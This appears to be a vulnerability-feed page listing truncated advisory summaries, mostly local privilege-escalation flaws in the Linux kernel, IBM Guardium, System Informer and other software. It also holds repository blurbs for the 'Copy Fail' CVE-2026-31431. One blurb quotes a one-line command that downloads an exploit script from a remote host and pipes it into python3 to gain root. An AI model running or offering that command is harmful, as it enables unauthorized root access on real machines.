CVE-2026-19575 Type confusion in the device_deinit system call allows user-mode threads to execute arbitrary kernel code

The user-mode verification handler for the devicedeinit system call, zvrfydevicedeinit in kernel/device.c, validated its dev argument with KSYSCALLOBJINITdev, KOBJANY. kobjectvalidate short-circuits its type comparison when the requested type is KOBJANY, so the check reduced to "this pointer is t...

CVE-2026-98227

A flaw was found in the Linux kernel's MemoryStick block driver. The driver fails to release its internal input/output work queue when a card is removed from the system. A local attacker with physical access could exploit this flaw by repeatedly inserting and removing storage cards, gradually...

CVE-2024-36587

CVE-2024-36587 - Escalada de Privilegios Local en dnscrypt-proxy Resumen Descripción de la vulnerabilidad : Debido a que el servicio dnscrypt-proxy confía en el ejecutable del directorio actual al registrarse, es posible insertar un binario malicioso para escalar privilegios. Versiones afectadas ...

EUVD-2026-95319

IBM Guardium Data Protection 12.0, 12.1, and 12.2 could allow a local attacker to obtain sensitive information due to cleartext storage of sensitive information in logs...

CVE-2020-9332

CVE-2020-9332 Descripción Un controlador de bus vulnerable en FabulaTech "USB para Escritorio Remoto" y "USB a través de la Red" permite a usuarios con pocos privilegios agregar un dispositivo USB de software completamente controlado, lo que podría ser utilizado por un atacante para elevar...

PT-2026-108951

Name of the Vulnerable Software and Affected Versions gVisor versions prior to 20260831.0 Description A use-after-free issue exists in the VFS Virtual File System that allows a local attacker with standard container privileges to achieve code execution in the host sentry process. This is...

Progress Telerik Fiddler Classic < 6.0.20262.10021 Multiple Vulnerabilities

The version of Progress Telerik Fiddler Classic installed on the remote Windows host is prior to 6.0.20262.10021. It is, therefore, affected by multiple vulnerabilities: - An insufficient integrity check on external helper tools allows a local low-privileged attacker to replace a helper executabl...

CVE-2026-98191

A flaw was found in the Linux kernel's wlcore Wi-Fi driver. When configuring a wireless regulatory domain fails, the driver does not release an acquired runtime Power Management PM reference. A local user could exploit this flaw during device configuration failures to cause a reference count leak...

CVE-2026-87980

IBM Guardium Data Protection 12.0, 12.1, and 12.2 could allow a local attacker to obtain sensitive information due to cleartext storage of sensitive information in logs...

CVE-2026-87980 Security vulnerability affects the UNIX S-TAP component as part of IBM Guardium Data Protection

IBM Guardium Data Protection 12.0, 12.1, and 12.2 could allow a local attacker to obtain sensitive information due to cleartext storage of sensitive information in logs...

CVE-2026-84250

IBM Guardium Data Protection 12.2 is vulnerable due to weak cryptographic protection and a hard-coded recovery key in the pkcrypto passkey component. A local attacker could exploit this vulnerability to recover the root password and gain root privileges...

CVE-2026-107782 System Informer before 4.0.26241.138 Incorrect Authorization in phsvc ALPC Port

System Informer before 4.0.26241.138 contains an incorrect authorization vulnerability in the phsvc helper that allows local attackers to reach privileged APIs by connecting from any Authenticode-signed process. Attackers can load code into a Microsoft-signed host like rundll32.exe, connect to...

EUVD-2026-95260

System Informer before 4.0.26241.138 contains an incorrect authorization vulnerability in the phsvc helper that allows local attackers to reach privileged APIs by connecting from any Authenticode-signed process. Attackers can load code into a Microsoft-signed host like rundll32.exe, connect to...

CVE-2026-107782 System Informer before 4.0.26241.138 Incorrect Authorization in phsvc ALPC Port

System Informer before 4.0.26241.138 contains an incorrect authorization vulnerability in the phsvc helper that allows local attackers to reach privileged APIs by connecting from any Authenticode-signed process. Attackers can load code into a Microsoft-signed host like rundll32.exe, connect to...

cve-2026-31431-checker

CVE-2026-31431 Copy Fail Detection Tool A comprehensive detection and analysis tool for CVE-2026-31431 "Copy Fail" vulnerability in Linux kernels. ⚠️ IMPORTANT DISCLAIMER This tool is for DETECTION ONLY. It does not exploit or modify any system files. Only reads system information and configuratio...

CVE-2026-31431-copy-fail

Copy Fail Most Linux LPEs need a race window or a kernel-specific offset. Copy Fail is a straight-line logic flaw — it needs neither. The same 732-byte Python script roots every Linux distribution shipped since 2017. Quick run: curl https://copy.fail/exp | python3 && su id uid=0root gid=1002user...

Weekly-Breach-Investigation--006

Copy Fail Vulnerability CVE-2026-31431 Summary High-severity local privilege escalation flaw in the Linux kernel, allowing unprivileged users to gain root access by corrupting the in-memory page cache. Impacts Linux distributions since 2017 and poses serious risks to cloud and containerized...

cve-2026-31431-algif-aead-remediator

CVE-2026-31431 / GHSA-2274-3hgr-wxv6 — algifaead Remediator Severity: High CVSS 7.8 — CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Background CVE-2026-31431 is a local privilege escalation vulnerability in the Linux kernel's algifaead module AFALG AEAD crypto socket interface. A low-privileged...

CVE-2026-31431-RCE-Exploit

🔴 CVE-2026-31431 — "Copy Fail" A 9-Year-Old Linux Kernel Logic Bug That Grants Root in Seconds Overview Copy Fail is a high-severity local privilege escalation LPE vulnerability in the Linux kernel's cryptographic subsystem algifaead. Discovered and disclosed by Theori via their Xint Code...

CVE-2026-84245 IBM Guardium Data Protection Privilege Escalation

IBM Guardium Data Protection 12.2 is vulnerable to a local privilege escalation in the cpwrapper component. A low-privileged local user could exploit this vulnerability to gain root privileges and access or modify sensitive system files...